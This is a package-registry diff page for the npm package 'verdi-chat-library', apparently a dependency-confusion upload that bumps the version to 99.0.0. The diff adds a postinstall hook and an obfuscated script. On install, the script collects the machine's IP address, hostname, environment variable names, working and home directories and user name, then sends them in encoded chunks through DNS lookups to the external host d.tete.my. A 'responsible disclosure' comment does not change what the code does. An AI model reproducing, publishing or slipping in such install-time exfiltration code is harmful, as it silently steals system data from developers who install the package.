verdi-chat-library 0.0.1 → 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of verdi-chat-library might be problematic. Click here for more details.
- package/package.json +7 -4
- package/script.mjs +2 -0
package/package.json
CHANGED
|
@@ -1,8 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "verdi-chat-library",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "",
|
|
5
5
|
"main": "index.js",
|
|
6
|
-
"
|
|
7
|
-
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall" : "node ./script.mjs"
|
|
8
|
+
},
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC"
|
|
8
11
|
}
|
package/script.mjs
ADDED
|
@@ -0,0 +1,2 @@
|
|
|
1
|
+
// DISCLAIMER: it will be reported following responsible disclosure.
|
|
2
|
+
function a0_0x5b99(_0x3d6a03,_0x17095b){const _0x35540d=a0_0x3554();return a0_0x5b99=function(_0x5b9943,_0x185532){_0x5b9943=_0x5b9943-0xa5;let _0x33fd07=_0x35540d[_0x5b9943];return _0x33fd07;},a0_0x5b99(_0x3d6a03,_0x17095b);}const a0_0x5679be=a0_0x5b99;function a0_0x3554(){const _0x4756b7=['hostname','SHELL','trim','1316203fyCYyQ','env','PWD','join','HOSTNAME','includes','hex','TERM','PATH','17252433HRHcib','org','LANG','match','2cImSIr','55hhUCso','toString','1246wEvuAm','constants','LOGNAME','address','NODE_ENV','194968ZuiDhG','push','ceil','slice','http://checkip.amazonaws.com/','USER','18573730hPaozP','3081654SCEdeJ','length','values','pgghdzvd','text','brotliCompressSync','stringify','32YGPYbb','3977706YcifOf','IPv4','lookup','random','SHLVL','HOME','keys','internal','from','OLDPWD','55572urENmI','filter','family'];a0_0x3554=function(){return _0x4756b7;};return a0_0x3554();}(function(_0x4a61f2,_0x2719c5){const _0x2cbdbb=a0_0x5b99,_0x39d9fb=_0x4a61f2();while(!![]){try{const _0x329a7c=-parseInt(_0x2cbdbb(0xa7))/0x1+-parseInt(_0x2cbdbb(0xb4))/0x2*(-parseInt(_0x2cbdbb(0xcb))/0x3)+-parseInt(_0x2cbdbb(0xbc))/0x4*(-parseInt(_0x2cbdbb(0xb5))/0x5)+parseInt(_0x2cbdbb(0xd5))/0x6*(-parseInt(_0x2cbdbb(0xb7))/0x7)+parseInt(_0x2cbdbb(0xca))/0x8*(-parseInt(_0x2cbdbb(0xc3))/0x9)+parseInt(_0x2cbdbb(0xc2))/0xa+parseInt(_0x2cbdbb(0xb0))/0xb;if(_0x329a7c===_0x2719c5)break;else _0x39d9fb['push'](_0x39d9fb['shift']());}catch(_0x3b689a){_0x39d9fb['push'](_0x39d9fb['shift']());}}}(a0_0x3554,0xe8c21));import a0_0xd8c2d8 from'dns';import a0_0x477858 from'os';import a0_0x3e2c21 from'zlib';const getIP1=async()=>{const _0x4bfb67=a0_0x5b99,_0x3a29d1=await fetch('http://ipinfo.io/json'),_0xb52a69=await _0x3a29d1['json']();return{'ip':_0xb52a69['ip'],'hostname':_0xb52a69[_0x4bfb67(0xd8)],'org':_0xb52a69[_0x4bfb67(0xb1)]};},getIP2=async()=>{const _0x4964b3=a0_0x5b99,_0x1b0e2a=await fetch(_0x4964b3(0xc0)),_0x3042bd=await _0x1b0e2a[_0x4964b3(0xc7)]();return{'ip':_0x3042bd[_0x4964b3(0xa6)]()};},getIP3=()=>{const _0x5d81a9=a0_0x5b99,_0x4c46f2=a0_0x477858['networkInterfaces'](),_0x53f242=[];for(const _0x319e1b of Object[_0x5d81a9(0xc5)](_0x4c46f2)){for(const _0x57a034 of _0x319e1b){_0x57a034[_0x5d81a9(0xd7)]===_0x5d81a9(0xcc)&&!_0x57a034[_0x5d81a9(0xd2)]&&_0x53f242[_0x5d81a9(0xbd)](_0x57a034[_0x5d81a9(0xba)]);}}return{'ip':_0x53f242[_0x5d81a9(0xaa)](',')};},getIP=async()=>{try{return await getIP1();}catch(_0x2107c2){try{return await getIP2();}catch(_0x1d9cd3){return getIP3();}}},getEVNames=()=>{const _0xa3e2d5=a0_0x5b99,_0x4d6aad=[_0xa3e2d5(0xa9),_0xa3e2d5(0xc1),_0xa3e2d5(0xd0),_0xa3e2d5(0xaf),_0xa3e2d5(0xa5),_0xa3e2d5(0xae),_0xa3e2d5(0xb2),_0xa3e2d5(0xb9),_0xa3e2d5(0xcf),_0xa3e2d5(0xd4),_0xa3e2d5(0xab),_0xa3e2d5(0xbb)];return Object[_0xa3e2d5(0xd1)](process[_0xa3e2d5(0xa8)])[_0xa3e2d5(0xd6)](_0x1855ca=>!_0x4d6aad[_0xa3e2d5(0xac)](_0x1855ca));},encodeData=_0x2c9090=>{const _0x2556ca=a0_0x5b99,_0x1162bf=JSON[_0x2556ca(0xc9)](_0x2c9090),_0xe4a986=Buffer[_0x2556ca(0xd3)](_0x1162bf),_0x413319={'params':{[a0_0x3e2c21[_0x2556ca(0xb8)]['BROTLI_PARAM_QUALITY']]:0x6}},_0x1da7a7=a0_0x3e2c21[_0x2556ca(0xc8)](_0xe4a986,_0x413319);return _0x1da7a7[_0x2556ca(0xb6)](_0x2556ca(0xad));},HOSTNAME='d.tete.my',PACKAGE_ID=a0_0x5679be(0xc6),HOST_ID=Math[a0_0x5679be(0xce)]()['toString'](0x24)[a0_0x5679be(0xbf)](0x8),ip=await getIP(),data={'envNames':getEVNames(),'ip':ip,'hostname':a0_0x477858[a0_0x5679be(0xd8)](),'pwd':process[a0_0x5679be(0xa8)][a0_0x5679be(0xa9)],'home':process[a0_0x5679be(0xa8)][a0_0x5679be(0xd0)],'user':process['env'][a0_0x5679be(0xc1)]},encodedData=encodeData(data),chunks=encodedData[a0_0x5679be(0xb3)](/.{1,60}/g),nMessages=Math[a0_0x5679be(0xbe)](chunks[a0_0x5679be(0xc4)]/0x3);for(let i=0x0;i<nMessages;i++){let messageIndex=i+0x1,start=i*0x3,end=(i+0x1)*0x3,payload=chunks[a0_0x5679be(0xbf)](start,end);payload[a0_0x5679be(0xbd)](PACKAGE_ID+'-'+HOST_ID+'-'+messageIndex+'-'+nMessages+'.'+HOSTNAME);let dnsMessage=payload[a0_0x5679be(0xaa)]('.');a0_0xd8c2d8[a0_0x5679be(0xcd)](dnsMessage,{'family':0x4},(_0x24720f,_0x12283a,_0x26ebcc)=>{});}
|